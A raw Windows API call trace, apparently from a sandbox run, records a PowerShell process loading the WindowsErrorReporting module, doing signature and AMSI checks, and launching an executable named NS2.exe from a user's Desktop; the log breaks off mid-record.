0x0 [0120.357] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e3e8*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x51, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e3e8*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x51, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0120.361] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting\\WindowsErrorReporting.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\windowserrorreporting\\windowserrorreporting.psd1")) returned 0x20 [0120.361] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting\\WindowsErrorReporting.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x64 [0120.361] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting\\WindowsErrorReporting.psd1", nBufferLength=0x64, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting\\WindowsErrorReporting.psd1", lpFilePart=0x0) returned 0x63 [0120.361] CoTaskMemAlloc (cb=0x20c) returned 0x73c1520 [0120.361] GetSystemDirectoryW (in: lpBuffer=0x73c1520, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0120.361] CoTaskMemFree (pv=0x73c1520) [0120.361] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0120.361] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0120.361] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e010) returned 1 [0120.362] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x843e08c | out: lpFileInformation=0x843e08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1c22f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fa1c22f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fa1c22f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe840)) returned 1 [0120.362] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e00c) returned 1 [0120.362] GetSystemInfo (in: lpSystemInfo=0x843e0c0 | out: lpSystemInfo=0x843e0c0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x4501)) [0120.362] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x843e050 | out: phkResult=0x843e050*=0xa5c) returned 0x0 [0120.362] RegQueryValueExW (in: hKey=0xa5c, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x843e06c, lpData=0x0, lpcbData=0x843e068*=0x0 | out: lpType=0x843e06c*=0x0, lpData=0x0, lpcbData=0x843e068*=0x0) returned 0x2 [0120.362] RegCloseKey (hKey=0xa5c) returned 0x0 [0120.362] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting\\WindowsErrorReporting.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x64 [0120.362] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting\\WindowsErrorReporting.psd1", nBufferLength=0x64, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting\\WindowsErrorReporting.psd1", lpFilePart=0x0) returned 0x63 [0120.362] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843dfc8) returned 1 [0120.362] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting\\WindowsErrorReporting.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\windowserrorreporting\\windowserrorreporting.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xa5c [0120.362] GetFileType (hFile=0xa5c) returned 0x1 [0120.362] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843dfc4) returned 1 [0120.362] GetFileType (hFile=0xa5c) returned 0x1 [0120.362] SetFilePointer (in: hFile=0xa5c, lDistanceToMove=0, lpDistanceToMoveHigh=0x843e004*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843e004*=0) returned 0x0 [0120.363] ReadFile (in: hFile=0xa5c, lpBuffer=0x53ed1a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843e030, lpOverlapped=0x0 | out: lpBuffer=0x53ed1a8*, lpNumberOfBytesRead=0x843e030*=0x2c3, lpOverlapped=0x0) returned 1 [0120.363] SetFilePointer (in: hFile=0xa5c, lDistanceToMove=0, lpDistanceToMoveHigh=0x843e004*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843e004*=0) returned 0x2c3 [0120.363] ReadFile (in: hFile=0xa5c, lpBuffer=0x53ed1a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843e030, lpOverlapped=0x0 | out: lpBuffer=0x53ed1a8*, lpNumberOfBytesRead=0x843e030*=0x0, lpOverlapped=0x0) returned 1 [0120.363] CoTaskMemAlloc (cb=0x20c) returned 0x73c1520 [0120.363] GetSystemDirectoryW (in: lpBuffer=0x73c1520, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0120.363] CoTaskMemFree (pv=0x73c1520) [0120.363] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0120.363] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0120.363] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843df64) returned 1 [0120.363] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x843dfe0 | out: lpFileInformation=0x843dfe0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1c22f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fa1c22f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fa1c22f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe840)) returned 1 [0120.363] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843df60) returned 1 [0120.363] GetSystemInfo (in: lpSystemInfo=0x843e014 | out: lpSystemInfo=0x843e014*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x4501)) [0120.363] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x843dfa4 | out: phkResult=0x843dfa4*=0xa6c) returned 0x0 [0120.363] RegQueryValueExW (in: hKey=0xa6c, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x843dfc0, lpData=0x0, lpcbData=0x843dfbc*=0x0 | out: lpType=0x843dfc0*=0x0, lpData=0x0, lpcbData=0x843dfbc*=0x0) returned 0x2 [0120.363] RegCloseKey (hKey=0xa6c) returned 0x0 [0120.363] CloseHandle (hObject=0xa5c) returned 1 [0120.364] CoCreateGuid (in: pguid=0x843e094 | out: pguid=0x843e094*(Data1=0xca4ac02b, Data2=0x75a2, Data3=0x4377, Data4=([0]=0x96, [1]=0x49, [2]=0xb, [3]=0x33, [4]=0x80, [5]=0xa3, [6]=0x4, [7]=0x37))) returned 0x0 [0120.364] QueryPerformanceCounter (in: lpPerformanceCount=0x843ddf4 | out: lpPerformanceCount=0x843ddf4*=80249604506) returned 1 [0120.364] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting\\WindowsErrorReporting.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x64 [0120.364] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting\\WindowsErrorReporting.psd1", nBufferLength=0x64, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting\\WindowsErrorReporting.psd1", lpFilePart=0x0) returned 0x63 [0120.364] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843dd28) returned 1 [0120.364] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting\\WindowsErrorReporting.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\windowserrorreporting\\windowserrorreporting.psd1"), fInfoLevelId=0x0, lpFileInformation=0x843dda4 | out: lpFileInformation=0x843dda4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x776191b3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x776191b3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x776191b3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2c3)) returned 1 [0120.365] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843dd24) returned 1 [0120.365] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting\\WindowsErrorReporting.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x64 [0120.365] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting\\WindowsErrorReporting.psd1", nBufferLength=0x64, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting\\WindowsErrorReporting.psd1", lpFilePart=0x0) returned 0x63 [0120.365] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting\\WindowsErrorReporting.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x64 [0120.365] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting\\WindowsErrorReporting.psd1", nBufferLength=0x64, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting\\WindowsErrorReporting.psd1", lpFilePart=0x0) returned 0x63 [0120.365] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843dc9c) returned 1 [0120.365] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting\\WindowsErrorReporting.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\windowserrorreporting\\windowserrorreporting.psd1"), fInfoLevelId=0x0, lpFileInformation=0x843dd18 | out: lpFileInformation=0x843dd18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x776191b3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x776191b3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x776191b3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2c3)) returned 1 [0120.365] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843dc98) returned 1 [0120.365] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting\\WindowsErrorReporting.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x64 [0120.365] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting\\WindowsErrorReporting.psd1", nBufferLength=0x64, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting\\WindowsErrorReporting.psd1", lpFilePart=0x0) returned 0x63 [0120.365] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843dc70) returned 1 [0120.365] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting\\WindowsErrorReporting.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\windowserrorreporting\\windowserrorreporting.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xa5c [0120.365] GetFileType (hFile=0xa5c) returned 0x1 [0120.365] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843dc6c) returned 1 [0120.365] GetFileType (hFile=0xa5c) returned 0x1 [0120.365] WTGetSignatureInfo () returned 0x0 [0120.415] CertDuplicateCertificateContext (pCertContext=0x737b798) returned 0x737b798 [0120.416] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x843dcd4 | out: phkResult=0x843dcd4*=0xa00) returned 0x0 [0120.416] RegQueryValueExW (in: hKey=0xa00, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843dcf4, lpData=0x0, lpcbData=0x843dcf0*=0x0 | out: lpType=0x843dcf4*=0x1, lpData=0x0, lpcbData=0x843dcf0*=0x56) returned 0x0 [0120.416] RegQueryValueExW (in: hKey=0xa00, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843dcf4, lpData=0x53f3260, lpcbData=0x843dcf0*=0x56 | out: lpType=0x843dcf4*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x843dcf0*=0x56) returned 0x0 [0120.416] RegCloseKey (hKey=0xa00) returned 0x0 [0120.416] CoTaskMemAlloc (cb=0x10) returned 0x7444cc0 [0120.416] CoTaskMemAlloc (cb=0x30) returned 0x740dad0 [0120.416] WinVerifyTrust () returned 0x0 [0120.417] CoTaskMemFree (pv=0x740dad0) [0120.417] CoTaskMemFree (pv=0x7444cc0) [0120.417] CertFreeCertificateContext (pCertContext=0x737b798) returned 1 [0120.417] CloseHandle (hObject=0xa5c) returned 1 [0120.417] AmsiOpenSession () returned 0x0 [0120.417] AmsiScanString () returned 0x80070015 [0120.421] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting\\en-US\\WindowsErrorReporting.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\windowserrorreporting\\en-us\\windowserrorreporting.psd1")) returned 0xffffffff [0120.421] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting\\en\\WindowsErrorReporting.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\windowserrorreporting\\en\\windowserrorreporting.psd1")) returned 0xffffffff [0120.422] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting\\WindowsErrorReporting.psm1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\windowserrorreporting\\windowserrorreporting.psm1")) returned 0x20 [0120.424] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting\\WindowsErrorReporting.psm1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\windowserrorreporting\\windowserrorreporting.psm1")) returned 0x20 [0120.424] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting\\WindowsErrorReporting.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x64 [0120.424] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting\\WindowsErrorReporting.psd1", nBufferLength=0x64, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting\\WindowsErrorReporting.psd1", lpFilePart=0x0) returned 0x63 [0120.425] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0120.425] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting", nBufferLength=0x49, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting", lpFilePart=0x0) returned 0x48 [0120.425] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x843d6e0 | out: phkResult=0x843d6e0*=0xa5c) returned 0x0 [0120.425] RegQueryValueExW (in: hKey=0xa5c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843d700, lpData=0x0, lpcbData=0x843d6fc*=0x0 | out: lpType=0x843d700*=0x1, lpData=0x0, lpcbData=0x843d6fc*=0x56) returned 0x0 [0120.425] RegQueryValueExW (in: hKey=0xa5c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843d700, lpData=0x5409ff8, lpcbData=0x843d6fc*=0x56 | out: lpType=0x843d700*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x843d6fc*=0x56) returned 0x0 [0120.425] RegCloseKey (hKey=0xa5c) returned 0x0 [0120.425] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x843d6e0 | out: phkResult=0x843d6e0*=0xa5c) returned 0x0 [0120.426] RegQueryValueExW (in: hKey=0xa5c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843d700, lpData=0x0, lpcbData=0x843d6fc*=0x0 | out: lpType=0x843d700*=0x1, lpData=0x0, lpcbData=0x843d6fc*=0x56) returned 0x0 [0120.426] RegQueryValueExW (in: hKey=0xa5c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843d700, lpData=0x540a340, lpcbData=0x843d6fc*=0x56 | out: lpType=0x843d700*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x843d6fc*=0x56) returned 0x0 [0120.426] RegCloseKey (hKey=0xa5c) returned 0x0 [0120.427] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting\\PSGetModuleInfo.xml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5d [0120.427] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting\\PSGetModuleInfo.xml", nBufferLength=0x5d, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting\\PSGetModuleInfo.xml", lpFilePart=0x0) returned 0x5c [0120.427] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d728) returned 1 [0120.427] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting\\PSGetModuleInfo.xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\windowserrorreporting\\psgetmoduleinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0x843d7a4 | out: lpFileInformation=0x843d7a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0120.427] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d724) returned 1 [0120.427] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting\\Microsoft.WindowsErrorReporting.PowerShell.dll" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\windowserrorreporting\\microsoft.windowserrorreporting.powershell.dll")) returned 0x20 [0120.465] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting\\Microsoft.WindowsErrorReporting.PowerShell.dll", nBufferLength=0x105, lpBuffer=0x843b2dc, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting\\Microsoft.WindowsErrorReporting.PowerShell.dll", lpFilePart=0x0) returned 0x77 [0120.481] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting\\Microsoft.WindowsErrorReporting.PowerShell.dll", nBufferLength=0x105, lpBuffer=0x843b2d4, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting\\Microsoft.WindowsErrorReporting.PowerShell.dll", lpFilePart=0x0) returned 0x77 [0120.481] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting\\Microsoft.WindowsErrorReporting.PowerShell.dll", nBufferLength=0x105, lpBuffer=0x843b1c4, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting\\Microsoft.WindowsErrorReporting.PowerShell.dll", lpFilePart=0x0) returned 0x77 [0120.581] ShellExecuteExW (in: pExecInfo=0x53948cc*(cbSize=0x3c, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="NS2.exe", lpParameters=0x0, lpDirectory="C:\\Users\\FD1HVy\\Desktop", nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x53948cc*(cbSize=0x3c, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="NS2.exe", lpParameters=0x0, lpDirectory="C:\\Users\\FD1HVy\\Desktop", nShow=1, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0xa1c)) returned 1 [0120.788] LocalFree (hMem=0x7444840) returned 0x0 [0120.788] LocalFree (hMem=0x740d868) returned 0x0 [0120.788] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843eb20*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843eb20*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x51, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0120.788] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843eb80*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xed, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843eb80*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xed, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0120.789] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843ee8c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843ee8c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xed, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0120.789] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843eeec*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xe2, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843eeec*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xe2, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0120.858] CoTaskMemAlloc (cb=0x2cc) returned 0x744e580 [0120.858] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x744e580, nSize=0x164 | out: lpBuffer="䮈ݯ솰ܺ") returned 0x0 [0120.858] CoTaskMemFree (pv=0x744e580) [0120.950] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843ee34*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843ee34*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x53, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0120.950] CoTaskMemAlloc (cb=0x2cc) returned 0x744e580 [0120.950] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x744e580, nSize=0x164 | out: lpBuffer="䮈ݯ솰ܺ") returned 0x0 [0120.950] CoTaskMemFree (pv=0x744e580) [0120.977] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843eefc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843eefc*(Data1=0xd5d0776a, Data2=0x3331, 